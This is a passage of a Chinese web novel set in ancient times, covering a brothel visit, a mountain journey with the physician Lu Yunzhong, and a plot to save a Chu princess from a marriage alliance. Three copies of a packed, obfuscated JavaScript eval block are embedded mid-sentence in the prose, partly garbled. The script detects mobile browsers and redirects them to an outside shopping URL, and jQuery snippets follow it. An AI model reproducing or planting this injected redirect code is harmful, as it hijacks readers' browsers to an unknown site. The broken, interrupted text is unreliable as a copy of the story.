秦惜念执起手中折扇,半掩住唇,低声笑道:“旁人行事都生怕惹人注意,你倒好,生怕别人不盯着你看,也不怕有暗卫来杀你。” 谢荣辞语气平静,听不出半分畏惧,“若有人要杀我,你出手解决便是。” 秦惜念一时语塞,正要反驳,他却忽然停住脚步。 抬眼望去,一座雕梁画栋、气派非凡的楼阁立在眼前。 匾额上赫然写着三个字一玉轩楼。 “进去之后,你我分开行动。”谢荣辞压低声音,语气认真。 “你我主要打听陆郎中的相貌、身份、喜好,以及最近的动向。” 秦惜念抬手一抱拳,学着江湖人的模样,“收到!” 刚一进门,浓妆艳抹的老鸨便满脸堆笑迎了上来。 她一双眼睛极毒,只轻轻扫过两人衣料,眼神立刻变得恭敬又谄媚。 “二位公子一看便是贵人,快请进,快请进!” 楼内丝竹声声,香气缭绕。 女子们衣着华丽,步履轻盈,台上一道纤细身影轻纱遮面,指尖轻拨琴弦,琴声婉转缠绵,听得人心头发软。 秦惜念与谢荣辞随意找了个位置坐下,点了几样小菜。 可令他们意外的是,除了台上抚琴的女子,竟没有一个艺妓上前斟酒伺候。 秦惜念正疑惑,老鸨已扭着腰走上台,清了清嗓子,高声笑道:“诸位公子,今日咱们玉轩楼,可是有位头牌姑娘要见客!” 停了半晌,所有人内心发痒,她才接着水下,“那便是咱们这琴棋书画样样精通、才思惊绝,六步便能成诗的春桃姑娘!” 台下顿时一片骚动。 秦惜念在心底暗暗嗤笑。 这世间男子最是矛盾,盼着外头的女子才貌双全,又要家中妻子温顺无才,当真是可笑又虚伪。 身旁谢荣辞轻轻用手肘碰了她一下,声音低而稳:“等会儿你尽管出价,将春桃请到厢房,向她打听陆大人的消息。我在外头盯着。” 秦惜念指了指自己,一脸不可置信,“我?” “那你应付楼内之人,我进去?” 秦惜念瞬间头皮发麻。 她素来最厌烦这些附庸风雅、酸文假醋的文人墨客,一会李兄,一会谢弟的,真要与他们周旋,怕是要头都大了。 可不等她推脱,台上老鸨已高声喊道: “诸位公子,以扇为号,出价缠头!价高者,可得春桃姑娘单独相伴!” “这位公子,二十两!” “二十五两!” 秦惜念硬着头皮,缓缓举起手中折扇。 老鸨眼睛一亮,像是早已认准她是出手阔绰的贵客,立刻扬声道: “这位公子出价——三十两!” 她话音刚落,角落里一名蒙面男子忽然也举起了扇子。 两人一来一回,竟是杠上了。 秦惜念反正花的不是自己的钱,底气十足,一路加价,竟直接将价格喊到了两百两。 全场哗然。 老鸨也没见过这般激烈场面,连忙与春桃低声商议几句,随即笑道:“我们春桃姑娘呀,最是喜欢文墨书生,二位公子皆是豪气之人,莫伤了和气。不如各赋诗一首,由春桃姑娘亲自挑选,如何?” 秦惜念抬手,淡淡开口:“我先来。” 她清了清嗓子,声音清亮,一字一句,传遍整个大堂: 朱楼粉壁映残阳, 一曲笙歌一断肠。 多少红颜成薄命, 尽将骨肉换金装。 王孙醉卧金樽里, 弱女啼深夜雨凉。 莫道繁华皆乐事, 人间此处最凄凉。 诗一出口,满座寂静。 她刚才在青楼之中,作这般直指人心、揭露血泪的诗,无异于当众打满座权贵的脸。 秦惜念心中并非没有忐忑,可她抬眼望去,恰好看见春桃面纱下的眼底,藏着深深的苦楚与绝望。 她赌的,就是这一份同病相怜。 那蒙面男子紧随其后,吟出一首极尽温柔夸赞的诗: 明眸一笑春风软, 素影清姿不染尘。 不借胭脂添颜色, 天然便是画中人。 诗句优美,句句赞美人貌,最是讨喜。 众人都以为,春桃定会选他。 可台上的春桃,静静立在那里,目光落在秦惜念身上,久久不动。 老鸨在一旁暗中推了她一把,她才轻轻开口,声音柔软却坚定:“我选这位公子。” 她抬手指向秦惜念。 秦惜念赌对了。 老鸨脸色瞬间难看,却也不敢当众反悔。 秦惜念按价付了银两,跟着春桃,一步步走进僻静的厢房。 房门一关,外界的喧嚣与丝竹声瞬间被隔绝在外。 春桃默默抱起琵琶,屈膝想要坐下弹奏。 秦惜念却轻轻抬手,制止了她,“不必弹了,你坐下来,陪我说说话就好。” 她顿了顿,声音放轻,“你身上的伤还好吗?” 春桃浑身一僵,猛地抬头看她。 那双漂亮的眼睛里,一瞬间混杂着震惊、惶恐,还有一丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17321201|199070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微弱的希望。 “公子,我没事。” “我来这里,不是为了寻欢。”秦惜念语气真诚,安抚着她。 “我只是来找陆云中陆医生治病,顺便打听他的下落,你不必怕。” 春桃紧绷的身子这才稍稍放松。 她当即取来纸笔,指尖纤细,提笔落墨。 寥寥数笔,一位清俊淡雅、眉目温和的男子跃然纸上。 “这便是陆先生。他待我们这些苦命人极好,常送药膏过来,为我们疗伤。” 提起陆云中,春桃的眼神不自觉柔和下来。 她抬头望向秦惜念,声音带着一丝颤抖的期盼,“公子方才那首诗……是发自内心的吗?” 秦惜念目光坚定,一字一句说道:“自然是真心。我素来看不惯这等腌臜事。若有一日我能做主,定要将这里所有女子都救出去。” 接着又说,“女子本可以凭自己立身成事,凭什么要一辈子困在这方寸牢笼之中?” 春桃再也忍不住,猛地抬手,撩起衣袖。 衣袖之下,新旧伤痕交错纵横,深浅不一,触目惊心。 有鞭痕,有掐痕,还有烫伤。 秦惜念心口猛地一缩。 玉轩楼不是对外宣称只卖艺吗?怎会伤得如此之重? 春桃眼泪簌簌落下,声音哽咽,“老鸨教我们琴棋书画,对外只说卖艺不卖身。实际上,是要我们替他们打探朝中消息,事后再把我们献给那些高官权贵。” 她说不下去,捂住脸,失声痛哭。 秦惜念心头又痛又怒,上前轻轻将她抱住。 “就没有人反抗吗?” “没用的。”春桃哭得浑身发抖。 “姐妹们家里都有亲人落在他们手里,我们……我们根本斗不过他们。” 秦惜念看着她满身伤痕,眼神无比认真,“告诉我,我能帮你做些什么?” 春桃抬起满是泪痕的脸,望着她,眼中燃起一点微弱却倔强的光,“公子一看便是贵人,若能救我出去,我愿为公子做牛做马,终身为奴为婢,绝无怨言。” “你不必轻贱自己。”秦惜念轻声道。 “我答应你,若有机会,我不只救你一个,我要带玉轩楼所有苦命的女子,一起离开这里。” 春桃哭得更凶,“每次被带走,我们都会被蒙住双眼,强行灌下迷药,浑浑噩噩,根本不知道对方是谁,等我们醒来时,只剩一身伤。” “这群衣冠禽兽!” 秦惜念咬牙,心中怒火翻涌。 她看向春桃,轻声问,“那你就不怕,我也是他们那一伙的?” 春桃用力摇头,使得眼泪飞溅,“公子敢在那么多人面前,说出那样的话,写出那样的诗,一定不是同流合污之人!我在这里熬得太久了。只要有一丝希望,我都愿意赌。就算我死了,只要姐妹们能出去,我也心甘情愿。” 秦惜念心口一酸,从怀中取出一枚玉戒。 那是她出逃时,偷偷带在身上的旧物,质地温润,一看便知价值不菲。 “这个你收好。” 她将玉戒郑重塞进春桃手里,“我一定会回来救你。若有一日,你先被别人救下,这戒指便拿去当了,换些银两,好好过日子,再也不要回到这种地方。” 春桃紧紧攥着那枚玉戒,像是抓住了最后一根救命稻草,泣不成声。 秦惜念深深看了她一眼,转身推开房门。 门外,谢荣辞已经等了许久。 他靠在廊柱上,身姿慵懒,见她出来,懒懒打了个哈欠,眼底却藏着一丝不易察觉的关切。 “怎么样?打探到了?” 秦惜念扬起唇角,将春桃画的画像递到他面前,眼底带着小小的得意,“你看,陆郎中的模样,这不就到手了?” 谢荣辞接过画像,目光扫过纸上清俊男子,随即又落回她身上。 他看着她眼底未散的怒意与坚定,语气里,难得带上几分真切的赞许,“没想到,你倒是有这般胆识。敢在那种地方,那种场合,作那样一首诗。” “这里的女子都是苦命人罢了,不说了,明日不就出发了吗?” 谢荣辞点了点头,更大的问题在等着他们。 5. 偶遇 第二天清晨,两人稍作整理,便动身前往地图标记的第一处—龙门山。 灵医谷向来易回难寻,谷主设下重重险阻,本就是为了筛选心诚求治之人。 来时千难万险,归去时谷主自会派人相送,可若无这张地图,寻常人便是耗上两年,也未必能寻到入口。这便是地图的珍贵之处。 二人乘上马车,一路往深山行去。 远远望去,龙门山高耸入云,崖壁陡峭险峻,一看便知前路难行。 到了山脚,两人刚准备登山,一旁停着的软轿忽然落下。 轿中缓步走出一名男子,气质温雅如玉,面容清俊白皙,一身素衣衬得他如清风朗月,与周遭山野格格不入。 看清那人面容的一瞬,秦惜念猛地睁大了眼。 这不正是他们在玉轩楼费尽心思打探的陆郎中! 竟会在此处偶遇,当真是踏破铁鞋无觅处。 “陆郎中!”她下意识上前招呼。 陆云中微微一怔,脸上依旧挂着温和笑意:“姑娘认识我?” 秦惜念心中暗道:何止是认识,连你的模样我都提前见过了。 面上却只随口圆道:“曾去郎中府上抓过药,况且在京中,少有不知陆郎中仁心的。” “二位这是要往何处去?” 秦惜念念头一转,伸手虚虚一扶谢荣辞,笑道:“这位是我相公,我们此番是专程往灵医谷求医的。” “不知是何病症?或许在下可先略尽薄力。”陆云中语气诚恳。 秦惜念连忙拦住,压低声音,一本正经地胡说八道:“陆郎中有所不知,这病您看不了。他有些隐疾,又信不过旁人,只得上灵医谷一趟。” “我!不!行?” 身后谢荣辞的声音一字一顿,冷得像冰,眼神更是寒冽逼人,似要将她当场剜去一块肉。 陆云中何等通透,当即含笑颔首:“既如此,那在下便不打扰二位了。” 说罢,便提步上山。 秦惜念连忙拉了拉谢荣辞,低声道:“跟着他,有熟路的人带路,省事得多。” 她快步追上陆云中,语气乖巧:“陆郎中,不知您是否方便,让我二人与您同行?” 陆云中温和一笑:“无妨,一同上路便是。” 身后,谢荣辞脸色已是铁青一片。 秦惜念回头,对着他挤眉弄眼,小声解释:“我不这么说,他怎会轻易带我们上山?我们本就是一伙的。” “既然有他在,那你也没什么用了。”谢荣辞语气冰冷。 秦惜念立刻服软,连连求饶:“别啊,我还能帮你盯着他,看他到底是真心相助,还是别有图谋。万一他察觉你与他目的相同,心生防备,我们岂不是麻烦?” 谢荣辞冷冷睨她一眼:“那便再留你几日。若再敢胡言乱语,小心我拔了你的舌头。” 秦惜念慌忙捂住嘴,一溜烟跑到前面,紧跟着陆云中。 山路崎岖难行,乱石丛生。 有陆云中在前面带路,沿途避开不少险地,几人走得顺畅许多。 遇到一处陡峭斜坡,陆云中自然地伸出手,声音温软:“此处难行,我拉你一把。” 秦惜念也不扭捏,刚要将手递过去,手腕忽然被人从后面一把攥住。 谢荣辞将她拉回自己身侧,语气冷硬:“不劳费心。” 陆云中眸中笑意不变,缓缓收回手:“是在下唐突了。” 秦惜念被两人夹在中间,左右为难,干脆一甩手:“我自己走!” 一路攀爬,她本就没吃什么东西,此刻只觉得腹中空空,头晕眼花,脚步越来越虚浮。 陆云中见她脸色发白,连忙扶她到树下歇息,又转身去林中摘了几颗野果,用衣袖擦净,递到她手中:“先垫一垫。” “多谢陆郎中。”秦惜念笑得眉眼弯弯,甜软动人。 “下次上山,记得备好干粮,不是每次都能这般凑巧。”陆郎中提醒着。 “知道啦。这些果子,你也吃点?” “我上山前用过膳,你吃便是。” 秦惜念啃了两颗,力气稍复,又拿起剩下的几颗,递到谢荣辞面前:“你也吃点,不然撑不到下山。” 谢荣辞冷冷瞥她一眼,语气不善:“我不像你,对谁都毫无防备,傻乎乎地什么人都信。” “陆郎中是一片好心,怎会是陌生人?”秦惜念不服气。 她将果子往他手中塞去,谢荣辞手腕一偏,果子尽数滚落地上,明眼人都看得出,他是故意的。 秦惜念心头一恼,懒得再与他争执,转身便走:“陆郎中,我们走,不管他。” 陆云中依旧是那副温和模样,默默跟了上去。 三人赶在日落之前下了山,循着地图指引,来到一间客栈。 “客官,要几间房?”伙计上前招呼。 “两间。”谢荣辞抢先开口,语气不容质疑。 “好嘞,三位先坐,小店备些小菜热酒,我这就让人收拾房间。” 三人同桌而坐,为了维持“夫妻”人设,秦惜念即便心中有气,还是一次次给谢荣辞夹菜。 谢荣辞默默吃着,目光落在她嘴角沾着的一粒米饭,忽然伸手,指腹轻轻擦过她的唇角。 “没人跟你抢,吃这么急做什么。”语气依旧别扭。 秦惜念心头一酸,委屈涌上眼眶:“你还好意思说。从上山到现在,你一口水不喝、一口饭不吃,若不是陆郎中摘了野果,我能不能活着下山都难说。” 这番话,是实打实的真心话。 谢荣辞没有反驳,只是垂眸沉默,不知在想些什么。片刻后,他独自起身,上楼去了。 饭桌上,只剩下秦惜念与陆云中两人。 陆云中放下酒杯,轻声开口,语气平静却笃定:“他不是你相公,对吗?” 秦惜念一慌,连忙打圆场:“我们平日便是这般相处,让郎中见笑了。” “并非为此。”陆云中目光温和,却又带着几分看透世事的清明,“你夹给他的菜,皆是他不爱吃的。而他看你的眼神,也绝非对待心爱之人。” “郎中此话何意?” “我行医多年,见过太多痴男怨女。多少女子痴心错付,重病缠身也不肯离去,最终却被弃如敝履。”他顿了顿,语气带着一丝不忍,“你很好,我不愿见你成为那样的人。” 秦惜念心头一跳,一个大胆的念头冒了出来,这陆郎中,莫非是对她有好感? 结合他一路的照顾与此刻的话语,实在很难不让人多想。 见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17321202|199070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她神色纠结,陆云中也不再多言,只淡淡道:“秦小姐,早些歇息吧。” 待他离开,秦惜念立刻转身去找掌柜:“掌柜,还有空房吗?” 掌柜一副我都懂的神情,挤眉弄眼:“小两口吵架了吧?没事,夫妻没有隔夜仇,你家那位看着冷淡,指不定心里正后悔呢。” 秦惜念哭笑不得。 她哪里是生气,她只是昨夜见谢荣辞睡在地上,一时心软,可方才见他那副模样,又觉得自己纯属多余。 两人本就只是临时结伴,毫无干系,是她自己太过心软罢了。 她点头应和两声,掌柜便给她安排了谢荣辞隔壁的房间。 这一幕,恰好被上楼的谢荣辞看在眼里。 他一言不发地回房,将原本铺在地上的被褥一把扫到床上,独自坐在床边,胸口闷着一团无名火,无处可发。 秦惜念端着自己的东西过来,本想告诉他,今晚可以在床上睡。 可一进门,见他非但没有睡在地上,反而一脸阴沉,她顿时气不打一处来,转身就进了隔壁房间。 是她把他想得太好了。 本就不是什么良善之人,两人也毫无关系,她就是心太软,才会心疼这么一个冷冰冰的人。 今日一路奔波,她累极,躺下没多久,便沉沉睡去。 可隔壁的谢荣辞,却是半点睡意也无。 他明明可以随手除去这个处处碍事的女子,却一次次为她破例,一次次退让底线。 心中憋闷至极,他起身下楼。 掌柜一见他,立刻上前劝道:“公子,你家娘子容貌出众,性子虽娇纵了些,可咱们做男人的,多包容些。明日上街买些她喜欢的小玩意儿,哄一哄就好了。” “生气的是她,又不是我。”谢荣辞皱眉。 掌柜哈哈大笑起来,“你还年轻。想当年我也是这般脾气,如今还不是被我家娘子收拾得服服帖帖?” 谢荣辞懒得再听,转身走出客栈。 门外,一道素色身影立在暮色中,竟是陆云中,像是已等候他许久。 “你身上服饰,带有苗疆纹路,气度举止亦非寻常百姓。”陆云中目光平静,字字清晰,“你是皇室之人吧。” 谢荣辞周身瞬间泛起冷冽杀意:“你想如何?” “别无他意。”陆云中淡淡一笑,“我与你们同行,只是想看看,你究竟是何等样人。” “我只是普通人。” “你若不愿承认,那在下也只能自行判断。” 谢荣辞冷笑一声,目光锐利如刀:“你与我一同前往灵医谷,难道就没有私心?” “在下不懂。” “你喜欢她,是也不是?”谢荣辞直接挑明。 陆云中沉默片刻,坦然承认:“若她真是你的妻子,在下自然不会有半分觊觎。可若她不是。” 后半句没有说完,可其中意味,两人都心知肚明。 谢荣辞心口猛地一紧。 他本不该在意。 这女子被谁喜欢,与谁亲近,都与他无关,既不是他的妻,也算不上他的人。 可那一刻,心脏却像是被一只无形的手狠狠攥住,闷痛得喘不过气。 或许,从他同意与她同行的那一刻起,他就已经输了。 6. 风沙谷(上) 秦惜念醒来时,晨雾还未散尽,微凉的风穿过廊下,卷起几片细碎的落叶。 她刚一推开房门,便撞进一双沉沉的眼眸里。 谢荣辞就站在门口,身姿挺拔如松,一夜未眠,眼下凝着一圈淡淡的青黑,却依旧难掩那份清冽逼人的贵气。 他的掌心静静躺着一支玉簪,质地莹润光洁,与之前赠予她的那只玉镯同出一脉,是上等的羊脂白玉,一眼便知价值不菲。 秦惜念心头轻轻一跳,嘴上却依旧绷着几分昨夜的小脾气,挑眉道:“干嘛突然送我这般珍贵的礼物?想讨好我?” 话虽如此,她的手却已经轻轻伸了过去,小心翼翼将玉簪接了过来,指尖触到冰凉温润的玉质,心底那点别扭早散了大半。 “昨日是我过分。”谢荣辞抬眼望着她,语气是从未有过的认真,“我的错,给你赔礼。” 他极少这般低头,更极少这般直白地认错。 秦惜念看着他眼底真切的歉意,再也装不出生气的模样,轻轻叹了口气:“我哪里是真的生气,我只是昨夜见你睡在地上,心里过意不去,才想着去隔壁房间,好让你能在床上好好歇息。” 谢荣辞的眼睛瞬间亮了起来,像落进了星光,一瞬不瞬地锁住她:“所以,你心里是有我的。” 那语气带着几分笃定,又带着几分不易察觉的紧张。 秦惜念脸颊微微一热,别开目光,轻声道:“对啊,我是你的女贼呀,本就该互相照应。” “除了这个呢?” 谢荣辞上前一步,声音压得很低,带着一丝小心翼翼的试探,“我们还有别的关系吗?” 秦惜念的心猛地一沉。 她不是不懂,不是看不明白。 可她身负家仇,他身藏隐秘,两人目的相同,前路却布满荆棘与刀刃,稍有不慎便是万劫不复。她不能给他希望,更不能让自己深陷其中。 她强压下心口的酸涩,扬起一抹浅淡的笑:“我们自然还是朋友。” 一句话,轻轻巧巧,却也生生隔开了距离。 谢荣辞眼底的光亮淡了几分,却没有再逼问,只是默默望着她,沉默得让人心头发紧。 就在这时,隔壁的房门轻轻推开,陆云中一袭素衣立在晨雾中,气质温雅如故,声音温和:“时辰不早了,我们该出发了,下一站是风沙谷。” 三人不再多言,收拾妥当便踏上行程。 风沙谷属楚国地界,人如其名,此地终年狂风呼啸,黄沙漫天,车帘一掀便是扑面的沙尘,吹得人睁不开双眼,连呼吸都带着粗粝的颗粒感。 马车刚驶入楚国边境,便被守关的将士层层拦下。 甲胄森严,刀兵寒光闪闪,气氛瞬间紧绷。 秦惜念与谢荣辞衣着气质皆不凡,一看便不是普通百姓,将士眼神戒备,正要上前盘查,可目光一落到陆云中脸上,瞬间脸色大变,慌忙收刀躬身行礼。 “陆郎中!原来是您!属下有眼无珠,冒犯贵人,还请恕罪!” 将领一挥手,立刻下令:“快,护送陆郎中一行进城!不得有误!” 秦惜念暗暗惊讶,忍不住小声赞叹:“陆郎中,你也太厉害了吧,在楚国竟有这般面子。” 陆云中淡淡一笑,语气平和:“三年前楚国公主突发怪症,中风昏迷,举国太医束手无策,恰逢我路过此地,出手相救。楚国上下感念这份恩情,故而对我多有照拂。” “原来是这样,还好有你,不然我们今日不知要多费多少周折。” 一旁的谢荣辞却冷冷哼了一声,眉宇间写满对陆云中的不满与醋意,却又不便发作。 秦惜念察觉到他的情绪,悄悄在底下伸手掐了他一把,低声道:“别闹,人家在帮我们。” 谢荣辞侧头瞪她一眼,却终究没有作声。 几人刚入城,一道娇俏明媚的身影便快步奔了过来,裙摆飞扬,眉眼娇憨,正是楚国昭和公主。 “云中哥哥!你可算来了!我日日都在等你!” 公主一把拉住陆云中的衣袖,眼神里满是依赖与欢喜。 陆云中不动声色地将手轻轻抽回,语气依旧温和:“公主近来身体可还安康?” “托云中哥哥的福,一切都好。”公主微微嘟起嘴,佯装不满,“只是你对我,总是这般生疏。” 陆云中只以浅笑回应,并不多言。 公主这才注意到他身后的秦惜念与谢荣辞,眼中闪过一丝好奇:“云中哥哥,这两位是?” “是我同行的友人。” “原来是客人,快,快随我进宫!” 昭和公主热情地将三人迎入皇宫。 秦惜念一路观察,心中暗暗叹息。 楚国地处偏远,天气恶劣,国力衰弱,百姓稀少,连皇宫都显得简陋破旧,远不及京城皇宫的十分之一富丽,处处透着窘迫与凄凉。 皇宫内,楚国皇后亲自出面迎接,神色恭敬又感激:“陆郎中,当年你救本宫爱女一命,便是我楚国大恩。今日既然来了,便安心住下,不必客气。” “皇后娘娘严重了,医者仁心,不过举手之劳。我与友人在此停留一日便会继续赶路,前往灵医谷,不必过多费心。” “那怎么行!”昭和公主立刻拉住他的衣袖,“云中哥哥好不容易来一次,至少多住几日,让我们好好报答你。” 陆云中推辞不过,只得点头应下。 当晚,宫中设宴。 昭和公主亲自作陪,命人端上楚国特有的果酒。酒液色泽粉嫩清亮,入口清甜,带着淡淡的果香,极易入口。 “你们快尝尝,这是我们楚国独有的果子酿的酒,别处喝不到的。” 秦惜念心中烦闷,便端起酒杯,一杯接一杯地饮下。 昭和公主也满心愁绪,陪着她一杯接一杯地喝。 陆云中与谢荣辞二人滴酒未沾,一左一右静静看着她们,眼神各有思量。 酒过三巡,昭和公主眼眶渐渐泛红,拉住秦惜念的手,声音带着哭腔:“姐姐,我真的好羡慕你。可以自由自在,游山玩水,不必被困在这四方宫墙里。” 秦惜念心头一酸,苦笑道:“公主说笑了,你身份尊贵,锦衣玉食,家人护佑,哪里有烦恼?不像我,连自己的家人都护不住。” 昭和公主眼泪簌簌落下,声音轻得像一阵风:“姐姐,你知道吗?楚国快要撑不住了,我父皇母后为了保护我,不惜以微弱兵力与晋国死战,只是为了不让我去晋国和亲,嫁给那些垂垂老矣的权臣。” “轰!” 一句话,如惊雷般在秦惜念脑海里炸开。 她瞬间酒醒了大半,脸色惨白。 这里,就是她父亲亲自领兵攻打、即将攻破的国家。 上一世的记忆如潮水般涌来,楚国誓死不降,全城死守,父亲无奈之下只能强攻,虽下令不伤百姓,可战火无情,生灵涂炭。 待大军攻入皇宫时,楚国皇帝与皇后早已双双自缢,宁死不做俘虏。 而眼前这位娇憨明媚的昭和公主,被父亲心软放走,可数年之后,她为了复仇潜入皇宫,行刺失败,被捕处死。 也正是因为父亲当年私放公主,被政敌抓住把柄,狠狠弹劾,最终被迫辞官还乡,一步一步,走向满门抄斩的结局。 可以说,昭和公主一生的悲剧,与她秦家,脱不了干系。 “姐姐?姐姐你怎么了?” 昭和公主见她久久发呆,伸手在她眼前轻轻晃了晃。 秦惜念一抬手,才发现自己早已泪流满面,冰凉的泪水滑落在脸颊上,烫得惊人。 她慌忙擦去眼泪,强装镇定:“没什么……只是听你说起,想起了一些往事,一时失态了。” “姐姐你别哭啊!”昭和公主连忙安慰她,嘴角却扯出一抹悲凉的笑,“其实,我明日就要出发和亲了。身为公主,为国献身,本就是我的命。” 秦惜念望着她强装坚强的模样,心口像是被一只大手狠狠攥住,痛得无法呼吸。 她没有资格劝她,更没有资格安慰她。 是她秦家,亲手碾碎了这个少女的一生。 一旁的谢荣辞一眼便看出她情绪濒临崩溃,当即起身,伸手扶住她摇摇欲坠的身子,声音冷沉却带着不容拒绝的力道:“时候不早了,你喝多了,我送你回去。” “好。”秦惜念早已心神俱裂,只想立刻逃离。 她脚步虚浮,像踩在棉花上,浑身发软。 谢荣辞不再犹豫,弯腰直接将她打横抱起。 少女温热的呼吸喷洒在他颈间,柔软的身子轻轻靠着他,纤细的腰肢盈盈一握,像一只受了伤、无依无靠的小猫。 “谢荣辞,我好难过。”秦惜念埋在他怀里,声音哽咽,带着浓浓的悲伤。 “我知道。”谢荣辞抱着她的手臂紧了紧,声音低沉而安稳。 “我父亲,他正在攻打楚国。”秦惜念声音发颤,“这一切,都是因我家而起。” 谢荣辞脚步一顿,随即继续往前走,语气平静却有力:“江山更迭,国之强弱,从不是你一人之过。楚国弱小,即便没有你父亲,也会有他国来犯。你不必把所有罪责都揽在自己身上。” “道理我都懂。”秦惜念眼眶通红,“可我就是觉得她好可怜,我想救她,我想帮帮她。” 谢荣辞低头,望着她泛红的眼眶,没有半分犹豫:“好,你说,什么时候行动。” 秦惜念一怔:“你不问问我的计划吗?万一很荒唐,很危险。” “只要是你说的,我都信。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17321203|199070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 简简单单七个字,却重如千钧,砸在秦惜念的心口。 回到房间,秦惜念的酒意醒了大半,情绪也渐渐平复。 她坐在桌边,将自己的计划一字一句说了出来:“和亲队伍出发时,我们假扮刺客半路劫持,让公主在晋国人面前假死,晋国人惧怕追责,必定会匆忙寻找替身交差,公主便能趁机脱身。” 话音刚落,门外忽然传来轻轻的叩门声。 “秦小姐,你在吗?” 是陆云中。 秦惜念立刻起身开门,眼睛一亮:“陆郎中,你来得正好,我正有要事与你商量!” 陆云中走进屋内,目光落在她泛红的眼眶上,语气平静:“你要说的,是关于昭和公主和亲一事,对吗?” “你怎么知道?” “晚宴时,你的神情早已说明一切。”陆云中轻轻摇头,语气带着几分劝阻,“只是此事牵扯两国,风险极大,我们不宜插手。” “我知道危险,可我不能眼睁睁看着她去死。”秦惜念语气坚定,“我已经想好,假死脱身,万无一失。” “假死看似可行,可刺客动向难料,人心难测,一旦出错,便是真的身死。”陆云中眉头微蹙,“公主自幼养在深宫,毫无自保之力,根本经不起这般凶险。” “那我去!”秦惜念立刻开口,“我的身手足以自保,我来假扮刺客,我来带她走!” “不行!” 一直沉默的谢荣辞猛地开口,声音冷厉,带着极强的占有欲与担忧:“我不准你去冒这个险。” “我也不同意。”陆云中同时开口,语气坚定,“无论谁去,风险都太大,我不会允许。” 秦惜念又急又无奈:“那你们到底要怎样才肯答应?” 陆云中沉默片刻,抬眼与谢荣辞对视一眼,两个素来不合的人,此刻竟达成了一致。 “我与谢荣辞去。”陆云中缓缓开口,“我们两人轻功卓绝,应变能力强,劫持公主全身而退,并非难事。事成之后,我会带她离开,隐姓埋名,重新开始。” 谢荣辞冷冷点头:“此事,交给我们。” 秦惜念一急:“那我呢?我也想帮忙!” “你留在宫中,稳住皇后,说明原委。”陆云中语气沉稳,“等我们得手,便会派人来接你,之后我们直接前往苗疆。” 秦惜念知道自己留下最为稳妥,只得点头:“好,我答应你们,你们一定要小心。” 商议已定,陆云中转身离开,独自前往昭和公主的寝殿。 深夜的宫殿寂静无声,烛火摇曳,映得公主身影单薄可怜。 陆云中将一枚漆黑的药丸放在桌上,声音轻缓:“明日和亲路上,我与谢公子会出手劫持,你服下这枚假死丹,一个时辰内会气息全无,骗过所有人,之后我们便带你走。” 昭和公主望着他,眼眶慢慢红了,轻声问:“云中哥哥,我只问你最后一句……你对我,当真从来没有过半分男女之情吗?” 陆云中身子一僵,沉默许久,终是轻轻摇头:“对不起,公主。我只当你是妹妹。” 昭和公主忽然笑了,眼泪却落得更凶:“没有什么对不起,其实听到你这句话,我反而轻松了。既然嫁不了我爱的人,那便为国而死,也算值得。” “你不必如此。”陆云中心头发紧,“明日我一定会来救你。” “不必了。”昭和公主轻轻摇头,笑容洒脱得让人心疼,“我的心意已决,你们不要再来插手。明日,我会准时上路。” 陆云中还想劝说,公主却已经转过身,不再看他。 他只得转身离去,心头却像被什么东西紧紧揪着,闷痛得喘不过气。 —— 与此同时,晋国丞相府内,灯火通明,杀机四伏。 一名黑衣侍卫单膝跪地,低声禀报:“少爷,属下已查明,楚国公主同意明日和亲,前往晋国。” 坐在上首的年轻男子唇角勾起一抹阴冷的笑,手指轻轻敲击桌面:“很好,那就按原计划,杀。” 侍卫一惊:“少爷,那可是楚国公主,若是直接杀了,恐怕会引来事端。” “事端?”男子冷笑一声,眼神阴鸷,“秦老将军正在攻城,我们无法在军前扳倒他,正好借楚国公主之死,给他安一个通敌叛国、暗杀手无寸铁公主的罪名。如此一来,他不死也得脱层皮。” “属下明白!” “记住,”男子声音压得更低,“把晋国护送的人也一并杀了,不留活口。若是他们随便找个替身交差,我们的计划,就全白费了。” “是!” 夜色更深,一场围绕着和亲公主、家国权谋、家族性命的巨大阴谋,正在黑暗中悄然铺开。 更汹涌的危险,即将降临。 7. 风沙谷(下) 公主和亲之日,楚、晋两国皆派出重兵护送,仪仗绵延数里,红绸漫天,却掩不住沉沉杀机。 谢荣辞与陆云中早已换好护卫服饰,混在楚国队伍之中,楚国将士早已得皇后密令,人人抱以死报国之心,只待时机一到,便全力掩护公主脱身。 队伍行至半途,前路忽然被一堆滚落的碎石彻底阻断,笨重的和亲马车猛地一颠,发出刺耳的木轴声响,整支队伍被迫停了下来。 就是此刻。 楚国将士心领神会,交手时只使出三成功力,虚招应付,佯装不敌;晋国护卫身负护嫁重任,不敢有半分懈怠,个个挥刀向前,拼尽全力厮杀。 